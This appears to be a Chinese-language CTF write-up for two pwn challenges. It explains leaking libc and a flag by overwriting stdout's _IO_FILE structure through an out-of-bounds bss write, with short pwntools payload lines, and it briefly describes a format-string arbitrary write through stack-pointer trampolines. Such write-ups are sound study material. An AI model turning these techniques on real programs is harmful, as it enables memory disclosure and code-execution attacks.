IO_2_1_stdin 与 bss_format
IO_2_1_stdin
附件:

bss数组越界


flag在内存里,puts + 0x16D2E0的地方(这里F5之后 + 的不对,不知为何)

防护全开
总结一下,给了个bss的任意指针写!考虑打stdout泄露地址
这里第一次接触_IO_FILE结构,久仰大名了属于是
pwndbg> ptype stdout
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base; // 泄露开始地址
char *_IO_write_ptr; // 泄露结束地址
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[20];
} *https://blog.csdn.net/qq_41202237/article/details/113845320
贴一下好好说话系列,讲的也很清楚。
首先_flag的设定需要满足
_flags = 0xFBAD1800因为为了泄露出我们需要的地址,需要一些标志位满足判断
再设置下面的成员为0
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;最好再来修改
char *_IO_write_base; // 泄露开始地址
char *_IO_write_ptr; // 泄露结束地址综上payload为
b'feedback.\n',p64(0xfbad1800)+p64(0x0)*3+b'\x00'泄露_IO_2_1_stdin_,\x00的设置刚好讲_IO_write_base低位置0,刚好可以泄露出_IO_2_1_stdin_的地址
_IO_2_1_stdin_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))遇到puts或者 printf输出函数,便会泄露
最后泄露flag即可
payload = p64(0xfbad1800)+p64(0x0)*3 + p64(flag_addr) + p64(flag_addr + flag_size)bss_format
格式化字符串,但是存储在bss上。不能用传统的传地址在栈上完成任意写。
栈的结构如下

此时可以找如ebp那种指向栈内的指针,先用格式化字符对那个地址任意写,写入我们想修改的地址,再找偏移,对ebp写入的地址再写入,这样便可达成任意写。栈上跳板。

